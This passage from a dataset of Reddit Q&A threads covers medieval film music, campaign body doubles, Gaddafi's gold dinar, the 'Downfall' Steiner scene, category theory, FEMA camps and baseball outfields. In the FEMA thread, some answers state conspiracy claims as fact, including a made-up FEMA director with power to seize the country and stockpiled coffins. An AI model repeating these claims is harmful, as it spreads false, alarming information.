ushered in the era of \"mensural\" notation - that is, a system in which notes possessed relative temporal durations, and could be subdivided ad infinitum. Before that composers used \"modal notation,\" in which the rhythm of a sequence of notes depended upon context - compositions in this style were later designated as the \"ars antiqua\" (old art). So the ars nova was a big deal. Philippe de Vitry and Guillaume de Machaut are the ars nova heavyweights. Machaut in particular was extremely influential as both a musician and poet - he composed the first complete mass cycle and heavily influenced Chaucer.\n\nI'm digressing a bit. You've touched upon one of my greatest pet peeves: the misrepresentation of medieval music in film. Directors are generally lazy, I get that...but when Ridley Scott tosses in some dinky, anachronistic ballad to indicate that \"hey, they had music in robin hood's day\" I get pissed. That is inadmissible. One of the few examples of a vague attempt at accuracy is (ironically) in Braveheart. A motet is sung in the background of Edward II's wedding (about 26 secs in): [Domino fidelium/Eius](_URL_0_)\n\nThis is actually a great example of the early motet, which belonged to the ars antiqua I mentioned earlier and grew from the pioneering efforts of Perotin and company. At first it was very simple: a segment of plainchant was decorated with a \"troped\" line of harmony. In this case, the text \"Dominum fidelium omnium...\" is set over a segment of the chant \"Flos filius eius.\" Eventually the motet became really elaborate and intellectual, with multiple texts sung simultaneously, sometimes in different languages (French and Latin). Here's a fantastic example that layers the voices gradually: [Plus bele que flors](_URL_1_)\n\nAnyway, I realize this is a very random, disorganized comment, but I hope it introduced you to some fantastic, beautiful music that is criminally underrepresented in cinema.\n\n", "It certainly depends on which program you're watching.  I would say, for the most part, The Tudors is actually quite accurate; however, keep in mind that it's written for the modern audience, so the composer does take liberties.  I do find Thomas Tallis's portrayal to be interesting and the show actually introduced me to his exquisite music.  Trevor Moore, who composed for the show, also composes for The Borgias.  Now, in terms of the show's plot liberties taken, I could go on for ages! (I still think it's a good show, though which tends to be a very unpopular opinion in early modern British history circles.)", "The easiest answer is \"It Depends\". Some films do a good job with the music. Others don't. In the classical music world Medieval music is considered to be from around 1100 or so through about 1400. This would place the Tudors well after that into the Renaissance. Here are a list of some composers that were active during the Medieval era and samples of their music. \n\n**1100-1200**\n\n* [Hildegard von Bingen](_URL_6_). Already mentioned on this thread and one of the most famous medieval composers. Born 1098, died 1179 and most famous for composing the [Ordo Virtutum](_URL_21_). Here's a [sample](_URL_14_) done \"live\". I can recommend [this](_URL_18_) album if you want to buy a recording of it. \n\n* [Leonin](_URL_7_). Leonin lived in the second half of the 12th century and was the first known composer of polyphonic organum (which is basically plain chant with an extra line running through it). His most famous work is the [Magnus Liber](_URL_9_), which is a book full of these plainchant melodies. Here's a [sample](_URL_0_), that comes from [this](_URL_19_) collection (which is one that I can recommend).\n\n**1200-1300**\n\n* [Gautier de Coincy](_URL_3_). Lived 1177 to 1236 he was a French composer and abbot. He's most famous for composing The Miracles of Our Lady, one of the more well known Marianist pieces from that time. (Marianis simply means it's about Mary, mother of Jesus). Here's a [sample](_URL_12_) (this one is mostly instrumental). You can purchase the album [here](_URL_11_). \n\n* [Alfonso X](_URL_20_) (aka Alfonso the Wise). King of Castille he lived from 1221 to 1284. He was another polymath, writing treatises on a wide variety of subjects. In the classical world he's best known for his [Cantigas de Santa Maria](_URL_5_) (Songs of the Holy Mary). Sample [here](_URL_17_) and [here](_URL_13_). There are something like 400 of them. You can hear some of the songs in [this album](_URL_1_) by Jordi Savall\n\n* [Adam de la Halle](_URL_8_). Lived from 1237 to 1288. He focused more on secular music and wrote the first surviving secular play from France, the [Jeu de Robin et Marion](_URL_16_). Sample [here](_URL_10_). I don't have this one in my collection (rather surprising to me actually), but I have many other recordings done by the group on the You Tube video and can vouch for them. \n\nAt this point you start getting into the Renaissance and the musical styles start changing incredibly fast. We also have much more information about these composers, so it's hard to give samples unless you want to give more detail. \n\nAs for the Tudors, here are some samples from some of the more famous composers of the era. \n\n**William Byrd** \n\n* [Agnus Dei](_URL_4_) from his Mass for Five Voices which is one of the more beautiful masses to come from that time period (at least in  my opinion).\n\n**John Dowland**\n\n* [Flow My Tears](_URL_15_), one of his more popular pieces. Most of his material is solo lute music. \n\n**Thomas Tallis**\n\n* [If Ye Love Me](_URL_2_). Tallis was a church composer who managed to survive some great upheaval and retain his job. He's famous for writing church songs (called anthems), as well as other vocal music. ", " >  I was watching A Knight's Tale last night....the absurdity of the music that's in it\n\nBut Brave Sir David Bowie was a Medieval Knight-Musician! \n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://youtu.be/xKCixB3zaX0"], ["https://www.youtube.com/watch?v=jkRrzAo9Wl4"], ["http://en.wikipedia.org/wiki/Conon_de_B%C3%A9thune", "http://www.youtube.com/watch?v=JOATPs169Lo", "http://www.youtube.com/watch?v=GnuAJOuTeiQ", "http://www.youtube.com/watch?v=HIk8N5xrDKg", "http://www.youtube.com/watch?v=_xf6zv4hNK8", "http://www.youtube.com/watch?v=7rgmPjYVwOM", "http://en.wikipedia.org/wiki/Alfonso_X", "http://www.youtube.com/watch?v=4_eOtm_OLiM", "http://www.reddit.com/r/AskHistorians/comments/xf4cc/how_accurate_is_the_music_that_we_hear_in/c5lx6ac", "http://en.wikipedia.org/wiki/Llibre_Vermell_de_Montserrat", "http://www.youtube.com/watch?v=_S8BZ18X_nw", "http://en.wikipedia.org/wiki/Thibaut_IV", "http://www.youtube.com/watch?v=gtkmnhnHWhw", "http://www.youtube.com/watch?v=jrvLJyN4zFs", "http://www.youtube.com/watch?v=9ti59NdbG1c", "http://www.youtube.com/watch?v=L6GycJWlLYY", "http://en.wikipedia.org/wiki/William_IX_of_Aquitaine", "http://www.youtube.com/watch?v=NPDCsi1mbhE", "http://en.wikipedia.org/wiki/Vitslav_III,_Prince_of_R%C3%BCgen", "http://en.wikipedia.org/wiki/Leonin", "http://www.youtube.com/watch?v=K4vBo79954A", "http://www.youtube.com/watch?v=Vzc61_9jNOc", "http://www.youtube.com/watch?v=gu7u9q3F2fI", "http://www.youtube.com/watch?v=od1D5wD-gxw", "http://www.youtube.com/watch?v=KhlCtF7JJ6Q", "http://www.youtube.com/watch?v=YNmTaRsEEGw", "http://www.youtube.com/watch?v=az-Hci-pbcA&amp;feature=related", "http://www.youtube.com/watch?v=6hdR1vbHL0Y", "http://www.youtube.com/watch?v=meGbsRIzmrw", "http://www.youtube.com/watch?v=ah_SJWa00E4", "http://www.reddit.com/r/AskHistorians/comments/xf4cc/how_accurate_is_the_music_that_we_hear_in/c5lvdkt", "http://www.youtube.com/watch?v=WQeK_Pmb30w", "http://www.youtube.com/watch?v=OYK0YaA7spI", "http://www.youtube.com/watch?v=Mr21JoS_rOg", "http://www.youtube.com/watch?v=hLxwycS-m7c&amp;feature=related", "http://www.youtube.com/watch?v=BNTaFy3Oh9k", "http://www.youtube.com/watch?v=dwucCZDwGSw", "http://www.reddit.com/r/AskHistorians/comments/xf4cc/how_accurate_is_the_music_that_we_hear_in/c5lvqd4", "http://en.wikipedia.org/wiki/Richard_I", "http://en.wikipedia.org/wiki/Walther_von_der_Vogelweide", "http://www.youtube.com/watch?v=ZDlxS-MEutU", "http://en.wikipedia.org/wiki/Carmina_burana"], [], ["http://www.youtube.com/watch?v=rA8MeJFRh04", "http://www.youtube.com/watch?v=1W2-xz0nr9c", "http://www.youtube.com/watch?v=PCq-hEOKorI", "http://www.youtube.com/watch?v=9mdmco61Htk"], [], [], ["http://www.youtube.com/watch?v=aySwfcRaOZM", "http://www.youtube.com/watch?v=OIWBkJWS5MQ", "http://books.wwnorton.com/books/A-History-of-Western-Music/", "http://www.youtube.com/watch?v=1Y1O-BcZQwY", "http://www.youtube.com/watch?v=B5SRs0Ok45I", "http://www.youtube.com/watch?v=v2tkpJR5S2A", "http://www.youtube.com/watch?v=VfCkmiQ0nDs", "http://www.youtube.com/watch?v=anbEEf7T8ik", "http://www.youtube.com/watch?v=6sQy6y_YLmo"], ["http://www.reddit.com/r/classicalmusic/comments/x9odn/looking_for_speedy_paced_medieval_music/", "http://www.youtube.com/watch?v=x7XGaoOlar8"], ["http://www.youtube.com/watch?v=IAjOclFd_0U", "http://www.youtube.com/watch?v=MUd2lPRpnU0", "http://www.youtube.com/watch?v=Mh_vXC_GYX4"], [], ["http://youtu.be/CLUpcqh8Gm4", "http://www.amazon.com/Orient-Occident-Jordi-Saval/dp/B000H0MNK8/ref=sr_1_3?s=music&amp;ie=UTF8&amp;qid=1343713601&amp;sr=1-3&amp;keywords=savall+alfonso+x", "http://youtu.be/J6RgaPTo4hE", "http://en.wikipedia.org/wiki/Gautier_de_Coincy", "http://youtu.be/ePqqoag8s1E", "http://en.wikipedia.org/wiki/Cantigas_de_Santa_Maria", "http://en.wikipedia.org/wiki/Hildegard_von_Bingen", "http://en.wikipedia.org/wiki/L%C3%A9onin", "http://en.wikipedia.org/wiki/Adam_de_la_Halle", "http://en.wikipedia.org/wiki/Magnus_Liber", "http://youtu.be/vNLBMwZSt_4", "http://www.amazon.com/Gautier-Coincy-Miracles-Notre-Dame/dp/B00008K4FR/ref=sr_1_1?s=music&amp;ie=UTF8&amp;qid=1343713326&amp;sr=1-1&amp;keywords=coincy", "http://youtu.be/iofOeWt8GNQ", "http://youtu.be/dvIgh3zLtfk", "http://youtu.be/gLpgj0s8o8s", "http://youtu.be/x1RS1i5wy2Q", "http://en.wikipedia.org/wiki/Jeu_de_Robin_et_Marion", "http://youtu.be/fwoF8fzjitI", "http://www.amazon.com/Hildegard-von-Bingen-Ordo-Virtutum/dp/B0000061LW", "http://www.amazon.com/Time-Templars-Various/dp/B000Z1LO5O/ref=sr_1_1?s=music&amp;ie=UTF8&amp;qid=1343713038&amp;sr=1-1&amp;keywords=music+for+a+knight", "http://en.wikipedia.org/wiki/Alfonso_X_of_Castile", "http://en.wikipedia.org/wiki/Ordo_Virtutum"], []]}
{"q_id": "4rmfqz", "title": "Before television, has a U.S president ever used a body double to cover more geography while campaigning?", "selftext": "I was just curious. It seems easy to do back then. ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4rmfqz/before_television_has_a_us_president_ever_used_a/", "answers": {"a_id": ["d52jfu3", "d539zx9"], "score": [832, 20], "text": ["**You can't prove a negative, but we're as sure the answer is NO as it is possible to be.**\n\nWe know this didn't happen because before the 20th century, presidents didn't campaign in the way they do today. In the early years of the Republic, it was considered gauche to go out and solicit votes. Before 1800, it was expected that a candidate's friends and neighbors would nominate him to office because of his known wisdom and skill, and that these known quantities would be obvious enough to abrogate the need to campaign. \n\nDemocratic ideals began to infect the political process as soon as Washington's second term, however, with some in Congress -- particularly in the House -- beginning to campaign for themselves. This attitude was slow to reach the presidential election process, however. When Aaron Burr attempted to do so, he was largely ridiculed. It wasn't until [the 1840 presidential election](_URL_0_) and the election of William Henry Harrison that you start to see relationships to the campaigns of today.\n\nThere are limits to that relationship, however. In 1860, for example, when Lincoln ran for office, he performed only one campaign appearance, and that in his home town of Springfield, Illinois, where he offered a few short words. Candidates were supposed to stay out of the limelight and let proxies do the dirty work of fundraising, speechmaking and arm-twisting necessary to get a candidate elected. It was considered unseemly for a candidate to go out and do that kind of thing themselves.\n\nAnd yet, desperate candidates started doing it anyway at the time of Lincoln. [As I wrote in a previous answer about Lincoln's campaign finances](_URL_1_), Democratic candidate Stephen Douglas broke new ground by deciding campaigning on his own behalf. He didn't have the money Lincoln's campaign had, so hit the road and hoped his stage presence would carry the day.\n\nRepublicans in New England responded by posting a series of handbills seeking help for \"A Boy Lost!\"\nThe handbills described the lost boy as \"about five feet nothing in height and answers the same in diameter the other way. Has an idea that he is a candidate for President.\"\n\nSubsequent candidates would take to the campaign stage themselves, following the example of Douglas rather than Lincoln, but I've never seen the slightest iota of evidence that a body double was ever used. It would be ludicrously simple to detect, and any candidate would instantly lose the election by pulling such a ridiculous stunt. \n\nEven in Lincoln's election, news and information was carried instantly across the country by telegraph, and it would be an easy task to realize that someone couldn't be speaking in two places at the same time. Presidential candidates, even in the 19th century, were known people. Broadsheets carried their faces and names, and they were constantly surrounded by hangers-on, staff and those who wanted to be both.\n\nThe notion of a body double only works in societies without a free press and where information is restricted. Even in the earliest years of the United States, that wasn't the case.", "Not a presidential campaign, but related to the question -\n\n(I first heard this from Robert Caro's biography of Lyndon Johnson.)\n\nWhen Johnson was running for Senate in 1948, he campaigned around Texas in a helicopter. He wouldn't have time to stop in the very small towns, but the helicopter would hover over the town and he would give a little speech. But the people couldn't really see who was talking. So sometimes, when Johnson wanted to take a nap on the campaign trail, the helicopter pilot would give a little speech instead, saying that we was Johnson.\n\nFrom _URL_0_ :\n\n >  Between the scheduled stops, Johnson swooped down on highway crews, section gangs on the railroad, and farm workers. In the early days he took the mike and hailed them over the loudspeaker. He identified himself and asked for votes. After he realized that the rotor noise and raspy loudspeaker prevented listeners from knowing who was at the mike, he turned that job over to the pilot. Speaking in a Texas drawl, the pilot asked for votes and chucked handfuls of brochures (sometimes accidentally accompanied by a Thermos jug) out the door. Meanwhile, Johnson was able to nap between appearances."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.loc.gov/rr/program/bib/elections/election1840.html", "https://www.reddit.com/r/AskHistorians/comments/4kkkes/how_did_us_politicians_in_the_time_of_abraham/d3fye3b"], ["http://www.lbjlibrary.org/press/lbj-in-the-news/campaign-by-helicopter"]]}
{"q_id": "8ncjy6", "title": "Why would Gaddafi implementing the African Gold Dinar have destabilized the American dollar?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/8ncjy6/why_would_gaddafi_implementing_the_african_gold/", "answers": {"a_id": ["dzv71ex", "dzvsaij"], "score": [14, 2], "text": ["Some people (mostly not economists) have an obsession with the [gold standard](_URL_0_), because they believe it helps prevent government overspending. This is arguably true, but ignores the many other disadvantages of a gold backed currency, such as the inability of governments to act in the face of major economic crises (which is why they have largely been abandoned). \n\nThose people believe that investors would flock to a gold-backed backed currency, which would increase investment in countries that have it. They also believe that, by forcing governments to limit their spending, the increased role of the free market would also benefit countries on the gold standard in the long run. Those are largely matters of faith; this didn't really happen in the past. \n\nWhat is likely is that a gold standard would benefit countries with large gold reserves. Many of these are in Africa, so they may benefit. That wouldn't help for countries without large gold reserves, though. \n\nTLDR: some people believe that fiat currencies are bad and that countries that follow a gold standard will do better economically. If Africa was on a gold standard and the USA not, they believe that Africa would benefit and the USA suffer. Most economists would probably disagree.\n\nP.S.\n\nIf you could link the article that made those claims, it would be possible to address the points made directly, rather than speculating about what the reasoning might be. ", "This was largely a conspiracy theory, and really shouldn't be taken too seriously.\n\nThere's maybe a whisper of truth in the idea that the US Dollar is used all over the world, and its value is pumped up a little bit because there's demand for dollars in transactions that have nothing to do with the United States. If every Africa country stopped using dollars like this - replacing them with Euros, Gold Dinars, bitcoin, or Wonkaland Funbucks, whatever - it would cause the dollar's value to decline somewhat. It would also be more difficult to enforce sanctions when countries aren't dealing in dollars. \n\nProbably not a catastrophic decline, though, and a decline in the value of the dollar isn't necessarily a bad thing for Americans, since it would make American exports cheaper and spur manufacturing.\n\nThat being said - it would be very unlikely for a run of countries to adopt a Libyan currency based in gold, even if Gaddafi did try to issue one. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.m.wikipedia.org/wiki/Gold_standard"], []]}
{"q_id": "9dd0du", "title": "In the movie 'The Downfall', Hitler gets angry when he knows that Steiner \"wasn't able to carry out his assault\". What exactly was Steiner's mission? What did Hitler expect from this assault? Did Hitler really believe that Steiner's assault could change the war and save Germany at that time?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/9dd0du/in_the_movie_the_downfall_hitler_gets_angry_when/", "answers": {"a_id": ["e5hbh7x", "e5hd85v"], "score": [57, 359], "text": ["Not to discourage other responses, but /u/Aleksx000 answered almost the exact same question [here](_URL_0_)", "SS Obergruppenf\u00fchrer Felix Steiner was in command of the impressively sounding \"III SS *Germanisches* Panzerkorps\". By late April, as Soviet armies were encircling Berlin, Steiner was situated near the town of Eberswalde, about twenty-five miles northeast of the capital. This put him in an ideal spot to attack the right flank of the Soviet 1^st Belorussian Front, at least according to the situation maps in the F\u00fchrerbunker.\n\nAs you see in the film, Hitler already had a loose grip on reality at this point. He believed that what he called \"Army Detachment Steiner\" (which would be the III SS Panzerkorps and the remains of other units in the area) could break the Russian advance and save Berlin. Hitler took inspiration from Frederick the Great: \"Whoever throws his last battalion into the struggle will be the winner.\" Steiner received orders to attack straight from the F\u00fchrerbunker late on April 21. He and his staff were threatened with execution is they failed. Compared to Hitler's delusional vision, the true situation was vastly different.\n\nWhen Steiner received the attack order, he was justifiably shocked. His III SS *Germanisches* Panzerkorps by now consisted of barely three battalions and a few tanks. Besides this, they were exhausted, lacking supplies, and still engaged in heavy fighting. Steiner rang General Krebs to try and explain the true situation, but Krebs was practically standing next to Hitler when he took the call, and had no option but to reaffirm Steiner's order. \n\nThe famous scene in the movie is set during the midday situation meeting on April 22. All that morning Hitler had demanded to know if Steiner had gotten his counterattack underway. By now, Soviet forces had broken the outer defenses of Berlin. When he was informed that Steiner was unable to counterattack, Hitler flew into a rage. He had already accused the Army of failing him, and now the SS had failed him too. As his anger subsided into sadness, Hitler told his assembled generals that anyone who wished to leave was free to do so, but he would die in Berlin.\n\nTo sum up: Steiner's mission was nothing less that the rescue of Berlin and the salvation of Nazi Germany. Hitler was living in a fantasy world at this point, so it's hard to say whether he truly believed that Steiner could carry out the assault. In any case, it was impossible. Nothing was saving Germany at this point.\n\nI hope this was helpful. \"Downfall\" is one of my favorite World War II movies.\n\nSource: *Berlin: The Downfall 1945* by Antony Beevor."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/7wo6df/was_hitler_really_this_delusional_in_april_1945/du3gazv/"], []]}
{"q_id": "8rsvqw", "title": "what is category theory?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8rsvqw/eli5_what_is_category_theory/", "answers": {"a_id": ["e0u2g7m", "e0u37p2", "e0u37vz", "e0u5jxu", "e0u624r", "e0un9oy"], "score": [8, 60, 5, 38, 3, 3], "text": ["It\u2018s an abstraction of Sets and Functions, wherein Sets themselves are abstractions of \u201ethings that are similar\u201c and Functions are matching things from one set to things from another set.\n\nA Category is an assembly of similar Sets and all possible Functions between these Sets.\n\nCategory Theory now tries to generalize statements we know are true for one Category (one type of Sets) to another Category (another type of Sets) so it doesn\u2018t have to be proven again for all Sets in that Category.", "As math progressed through the 20th Century, we kinda realized that there were tons of relationships between various mathematical objects that looked the same but weren't actually related at all. This was a bit because we tend to look at the components that make up a mathematical object, like elements of a set, numbers, points in a space, loops in a space, operations, equations, etc, etc, etc. But, if instead we looked at mathematical objects themselves as the constituents of a theory as a whole, we could illuminate what these theories are a little bit better.\n\nFor instance, we have the theory of sets. And when we look at things in terms of set theory, we generally want to know what things make up the elements of a particular set. But the category theory of set theory does not care. It cares about how different sets relate to each other, and the way sets relate to each other is functions between them. So instead of understanding the set A by asking what its elements are, we understand the set A by asking what are all the functions from A to other sets. \n\nThis mindset is incredibly useful, because it allows us to ignore unimportant specifics and focus on the important structural components instead. Moreover, it allows us to explicitly compare different theories together. We can transform the theory of topological spaces into the theory of linear algebra, allowing use to easily conclude tough things about weird spaces using simple algebra. \n\n**TL;DR:** Look at the relationships between things, rather than the components of a thing.", "Category theory is an abstract branch of mathematics used to model mathematical \"objects\", and mappings between them.\n\nIn order to define a category you define the mathematical objects involved (such as \"Sets\" for instance), and the mappings (such as \"Functions\" for instance). So there is a category of mathematical sets and their functions.\n\nNow the categories themselves could also be considered mathematical objects, and we could look at mappings between categories as well, which would _also_ be a category.\n\nI'm not sure how to explain it in a more bare bones way than that. Category theory isn't actually that difficult a subject, but it is certainly the sort of thing you'd want at least a High School level of mathematical ability to go into the details.\n\nIn more detail a Category consists of:\n\n- Objects\n\n- Mappings (called morphisms) between those objects.\n\n- A binary composition operator, which can combine those mappings such that a mapping from object A to object B, and a mapping from object B to object C can be combined into a single mapping from object A to object C.\n\n- There should be a mapping that acts as an _identity_ under composition, such that composing that mapping with another mapping M, gives you back the mapping M.\n\n- Composition should be associative, such that (representing the composition operation as *): M * (N * O) = (M * N) * O.\n\n_Anything_ that can be represented by the above list can be analyzed as a category, that is why it is considered so abstract.\n", "Functor7\u2019s answer is awesome, but just to offer a different perspective\u2026\n\nMathematics is all about abstraction. We observe the fingers on our hand and abstract over them the concept of natural numbers. We see how you can take away values from a set and abstract out the concept of negation. We take the concepts of numbers, addition, and negation and abstract them to groups. And so on, and so on.\n\nCategory theory is like the \u201cabstraction for abstractions\u201d. It\u2019s the most abstract study you can get. Abstracting sets and functions gets you to categories. Abstracting categories gets you to\u2026 more categories. Eugenia Cheng calls it \u201cthe fixed point of abstraction\u201d, which is quite apt, I think.", "Category Theory is \"hey guys, what if everything were graphs?\"\n\nSo first, let's talk about (directed) graphs.\n\nA (directed) graph is a mathematical object that has vertices, which are some kind of \"points\", and some (directed) edges which are arrows from vertices to vertices.\n\nAs simple as that. You have some points and some arrows between them.\n\nA category is a generalisation of graphs. In a category you have Objects, which have the role of vertices, but can be more than just points. And you have Morphisms (also Called arrows or Maps), which are like the directed edges of the graph, except that they have more information than just \"being an edge\"\n\n(The formal definition has more details)\n\nExemple : The category of Sets.\n\nThe Object/Vertices are all the possible sets\n\nThe Morphisms/Edges are all the possible functions from sets to sets.\n\nAnother example : The category of permutations of 1,2,3\n\nThis category has only one object, which is the set {1,2,3}. And it has 6 Morphisms going from this object to itself. Each morphism corresponding to a reordering of the list [1,2,3]", "I like to describe category theory as the study of structure in terms of transformations that preserve different kinds of structure.  If you know what a set is, you might understand that functions transform sets into other sets, so functions preserve set structure.  If you know what a vector space is, you may understand that general linear maps preserve vector space structure.  The category of sets contains all the maps that preserve set structure, and all sets.  So the category of sets contains all sets and all functions.  Now that you know what a category is, you may understand that there is a map that transforms categories into other categories.  These are called functors, and they preserve category structure.  A map that transform a vector space into a set is not a general linear map.  Instead, it is a functor, as it maps the category of vector spaces into the category of sets.  Finally, the details of structure in a category are encoded in the algebraic relationships between the maps and their composites.  As an example, given two maps that compose, say fg, their composite may be equal to another map, so fg=h.  A finite category will have a finite number of objects and a finite number of maps and a finite number of a equations between words on those maps."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "yho3c", "title": "the fema camp conspiracy", "selftext": "My Mom's boyfriend is extremely paranoid and nervous about these \"FEMA camps\" the Gov is allegedly building. He's also worrying about chemtrails and shit like that, but whatever. I'd usually blow it off as more conspiracy fruity tooty but the guy is REALLY worried about it, like, petrified scared. Maybe you guys can give me a better understanding so I can rationalize with him?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/yho3c/eli5_the_fema_camp_conspiracy/", "answers": {"a_id": ["c5vnhj7", "c5vnkyv", "c5votbp", "c5vpej7"], "score": [4, 7, 9, 3], "text": ["not super familiar with this but, I believe they are disaster relief camps set up to deal with refugees after a theoretical major disaster (natural or otherwise). The fear i believe is that they are secretly meant to be internment or concentration camps ala the Japanese during WW2", "they are basically camps for refugees during natural disasters as funded by your tax dollars. this is a good thing.\n\nhowever, the conspiracy comes into play when many presidents ago, an executive order was signed to give the director of FEMA full authoritarian control of the country during a time of emergency. this was, of course, supposed to be used to stream line things and make relief a whole lot more easier. especially if our government was somehow incapacitated.\n\nthe problem is, those emergency powers were activated during world war ii... and america has never left it's state of emergency.\n\nessentially, at any time, the directer of FEMA, Walton Simons, can usurp control of the country and initiate martial law.", "A) You can't rationalize him. Logic and facts have no bearing in the mind of a conspiracy nut. You can't fact them out of it.\n\nB) FEMA took a SHITTON of bad press and flack for their piss poor handling of Hurricane Katrina. In response, FEMA has begun to 'game plan' future major disasters. This, in part, means looking at major cities, figuring out what are the most likely disasters to happen (Oklahoma City, tornadoes; LA, earthquakes; NYC, terrorism; New Orleans, another Hurricane). After working out that is most likely to go wrong, FEMA then looked at areas to set up potential refugee camps and shelters (anywhere with a large, open space, removed from the area of danger is ideal). A lot of these potential sites are schools, old factories, and other areas.\n\nC) Conspiracy nuts learn that FEMA is out scouting and planning for 'camps' to 'put people' and ignore all logic, jump to the worst conclusion possible, that the government, though FEMA, is going to round people up into concentration camps. This is nuts because 1) if it was for nefarious purposes, why would FEMA be so public about it at all 2) It was in response to criticisms that FEMA wasn't controlling enough in the first place and was too weak to handle Katrina.\n\nI actually feel bad for FEMA, they get yelled at whether they do their job right or wrong. ", "Look up 'HR 645'.\n\nResearch 'fusion centers'.\n\nRead about 'TrapWire'.\n\nOne Governor [or was it a Senator?] went on the record saying there *are* no FEMA camps.  The 'residential centers' [that's what they call them now] have barbed wire to keep people in, not out.\n\nThe government has purchased hundreds of thousands of 4-person coffins and millions of rounds of ammo for domestic use.  Domestic use. \n\nAll we have is this communication medium to organize and educate people.  That's why it's under constant attack by the government[s], and that's ~~why~~ how they arrest dissidents *before* they protest now.\n\nI'm now on a list for typing this, and you are for reading it.  Good day sir.\n\n*edit* : typo\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "27c35o", "title": "why some mlb fields are allowed to have longer outfields than others thus making it harder to hit a home run", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/27c35o/eli5_why_some_mlb_fields_are_allowed_to_have/", "answers": {"a_id": ["chzd0bk", "chzgrzn", "chzgtg1", "chzhzlv", "chzig5x", "chzih1r", "chziwpl", "chzj89s", "chzjnw1", "chzjs6x", "chzjwek", "chzk3fq", "chzkds3", "chzkism", "chzklf7", "chzl7f1", "chzlfk6", "chzlj5i", "chzmbv9", "chzmppp", "chzmqu0", "chzmzlx", "chzn1wk", "chzn9pk", "chzopqp", "chzov91", "chzpdmv", "chzrbds", "chzwqlm", "chzz1un"], "score": [632, 179, 55, 16, 90, 497, 3, 5, 2, 6, 3, 16, 429, 3, 3, 3, 2, 3, 3, 2, 2, 2, 16, 30, 2, 2, 3, 2, 3, 2], "text": ["]Base ball is as much about tradition as it is about its rules.  As the rules go there are minimum distances for the fences and foul lines,  Unlike the bases which are defined as 90 feet apart.  You can read it in [section 1.04 of the rules] (_URL_0_).  As baseball goes while home runs are very spectacular you do more offensive work with base hits.  This is why things like OBP and RBI matter so much.\n\nAs parks go MLB views them as much an attraction as the game and player themselves.  As such they are each individual and the celebrate those fields that  have stood the test of time.  So just as every player is an individual so are the parks.  \n\nIt is just tradition.", "Interesting note: The center field wall at the [Polo Grounds](_URL_0_) was 483 feet from home plate.  No home runs were hit over that fence, but the walls along the lines were very short, making the corners very hitter-friendly.  Lots of home runs at the Polo Grounds were inside-the-park home runs from balls hit over the outfielders' heads.  One of the most unique stadium layouts in the history of the game.", "In Denver, the outfield was made bigger than others because the air is thinner due to altitude.  Thinner air means less air resistance, which means that balls travel farther.  By about 10%.  Even with a larger outfield, Denver still has lots of home runs.\n\nThis is also why the longest field goal in American football was in Denver.", "Because it's awesome.\n\nSeriously, it's just viewed as a fun wrinkle to the game. It also adds a little to the home field advantage in that you can tailor your team and playing style to the park you play in.", "Field dimensions are rooted in baseball history. When teams first started building stadiums in large cities, they were limited to the use of the space they acquired. Take Boston for example, The green monster exists because it is the only way Fenway coud've been built in its current location. The land it sits on didn't allow for a longer field so they built a wall to compensate for the shorter outfield. The same was true for teams that played inside of football stadiums. Nets were draped high above the stands to compensate for field size. This resulted in different fields with different \"identities\" Currently, this \"identity\" is designed intentionally into newer stadiums and isn't necessarily out of a particular need. Stadiums in Houston, New York and Arizona are good examples of stadiums that built in features into their field to give the stadium some particular character.", "The basic reason is that people pay to visit ballparks for entertainment and a good experience.  Custom ballparks address this in two ways.\n\nOne of the appeals is the attraction of the ballpark itself.  They are generally gorgeous works of unique architecture that incorporate a beautiful field of grass.\n\nThrough the 70s and 80s, there were a number of cookie-cutter parks created (like US Cellular/Comiskey Park, sadly) that generally are less aesthetically appealing and therefore less attractive to paying customers.  Over the last 20 years or so, MLB realized this mistake and since then they've gone back to the designs that give each ballpark some real character -- even on TV, which only shows the field itself.\n\nA second reason is that the different shape of the field can lead to different construction of the team.  In baseball, there are different types of hitters and pitcher.  For example, If you have a ballpark with outfield walls that are far away, you can put hitters on the team who are fast and can not only cover more area, but take advantage of hitting the ball to the far corners and gaining extra bases.  You can put pitchers on the team that allow fly balls that are unlikely to leave the ballpark and are caught by your fleet fielders.\n\nIn other words, you can create a team that is more likely to win at home and therefore make your paying customers happy to have visited.", "Pretty good answer to your question [here](_URL_0_).  Echoes some of the replies you've received.", "It makes different ballparks unique, and homefield advantage is actually real in baseball ", "It's tagged as explained, but something else to think about is having longer outfields and different distances in baseball is not too far unlike having different yardages and difficulty levels on a golf course.  On a given course, a Par 5 might be reachable in 2 shots with a yardage of 525 yards.  A course down the street also with a Par 5 of 525 could be impossible to reach in 2 shots due to things like trees, water, terrain, etc.  These go into the handicap level of the holes, and the slope ratings of the courses, which are used to normalize a golfer's skill across different courses, but it's still close to the same sort of question you're asking, OP.", "Both teams are playing offense and defense in the same field, so it wouldn't be an advantage to any of them.", "It doesn't really matter how long your home field is.  If it's 200 feet to center field, there will be a lot of home runs.  Not just for you, but for the other team too.  But for 81 games you'll get to play in a hitter friendly stadium.  But so will the other teams.  If it's 500 feet to center field, you'll hit less home runs but so will the teams visiting your ball park.  Either way, the odds even out over time.  \n\nTL;DR: It's the same for the home and away teams, so how deep the fence is doesn't have a huge impact on the 162 game season.", "Baseball didn't always have outfield walls, everything was playable.  As more and more people began to come out to games, this led to fans being in the playable area, because everything was playable.  The outfield boundaries were originally more about telling fans how close they could come to the action than about restricting the field to a certain dimension (this is also true about how much foul territory is in play before seating begins).  By the time they were added it would have been impossible to standardize every stadium because of different limitations, so it was left up to teams to decide.\n\nELI5: The walls are there to keep the monsters out, not the players in.  Different 